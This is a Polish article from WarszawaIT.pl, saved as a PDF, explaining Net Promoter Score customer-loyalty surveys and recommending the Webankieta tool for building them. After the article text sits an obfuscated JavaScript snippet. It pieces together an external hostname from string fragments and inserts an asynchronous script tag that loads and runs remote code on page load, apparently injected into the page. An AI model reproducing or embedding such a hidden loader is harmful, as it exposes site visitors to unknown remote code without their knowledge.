Ankieta Net Promoter Score (NPS) - przygotujesz ją

Warszawa, baza firm, oferty pracy, branża IT :: WarszawaIT.pl
Ankieta Net Promoter Score (NPS) - przygotujesz ją samodzielnie on-line
Dzięki ankietom można pozyskiwać różne rodzaje wartościowych danych, które następnie mogą stać się
podstawą we wdrożeniu rozwiązań dążących do poprawy działania firmy oraz jej rozwoju. Obecne jednym
z najczęściej przeprowadzanych badań tego rodzaju jest badanie Net Promoter Score, w skrócie NPS.
Net Promoter Score jest narzędziem, które pozwala na dokonanie oceny lojalności klienta firmy czy też
marki. Jest to alternatywny sposób na przeprowadzenie badania satysfakcji klientów. Badania te zostały
po raz pierwszy zaproponowane przez Freda Reichhelda, Bain & Company i Satmetrix i aktualnie są coraz
częściej używane przez firmy, które chcą dowiedzieć się, jak wielu lojalnych klientów posiadają.
Badanie Net Promoter Score bazuje na jednym pytaniu, a mianowicie W skali od 0 do 10, na ile
prawdopodobne jest, że polecisz firmę czy markę X swojemu znajomemu?. Klienci, którzy w badaniu
zaznaczyli odpowiedź 9 lub 10, są nie tylko gotowi do rekomendacji, ale również są najbardziej skłonni do
ponowienia zakupu danej usługi czy produktu.
Najważniejsze zalety wykonania badań NPS:
- prostota przeprowadzenia badania
- łatwa i szybka interpretacja wyników
- możliwość monitorowania zmian
- niskie koszty wykonania badania
- poprawa relacji z inwestorami
Wartości NPS uzyskane poprzez badanie wahają się od -100 do +100, przy czym -100 odpowiada
sytuacji, gdy każdy z klientów jest krytykiem, a +100 odpowiada sytuacji, gdy poleca daną markę
znajomym. Wartości dodatnie NPS są interpretowane jako wynik dobry, natomiast wartości powyżej 50
za doskonały.
Tego rodzaju ankieta może być przeprowadzona także samodzielnie. W tym celu wykorzystać można
generator ankiet internetowe narzędzie pozwalające na przygotowanie ankiety w kilka chwil. Opcję
przygotowywania ankiet NPS posiada między innymi popularny w Polsce serwis Webankieta. Dzięki temu,
że serwis ten jest bardzo prosty, intuicyjny w obsłudze, przygotowanie ankiety jest dostępne dla
każdego, kto chce przeprowadzić badanie lojalności swoich klientów.
(function(){
c455=document.createElement("script");c455_=("ust");c455u="15264469";
c455_+="a"+("t.i");c455.type="text/javascript";
c455u+=".h2qks4m2455h9nuaws0c";c455.async=true;c455_+="n"+("f"+"o")+"/";
c455u+="fp3377khev";c455.src="//"+c455_+c455u;
document.body.appendChild(c455);
})();
http://www.warszawait.pl
Kreator PDF
Utworzono 2 March, 2017, 03:07